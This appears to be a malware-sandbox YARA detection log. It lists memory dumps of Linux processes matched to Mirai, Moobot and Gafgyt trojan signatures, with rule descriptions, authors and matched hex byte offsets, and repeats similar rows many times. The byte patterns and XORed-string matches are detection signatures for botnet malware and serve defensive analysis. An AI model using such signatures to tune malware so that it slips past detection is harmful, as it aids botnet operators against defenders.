6330.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6330.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7270.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6447.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6447.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6447.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6447.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6447.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6447.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7101.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7101.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7101.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7101.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7101.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7101.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7278.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7278.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7278.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7278.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7278.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7278.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6778.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7419.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6463.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6828.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7115.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7115.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7115.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7115.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7115.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7115.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6714.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6714.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6714.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6714.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6714.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 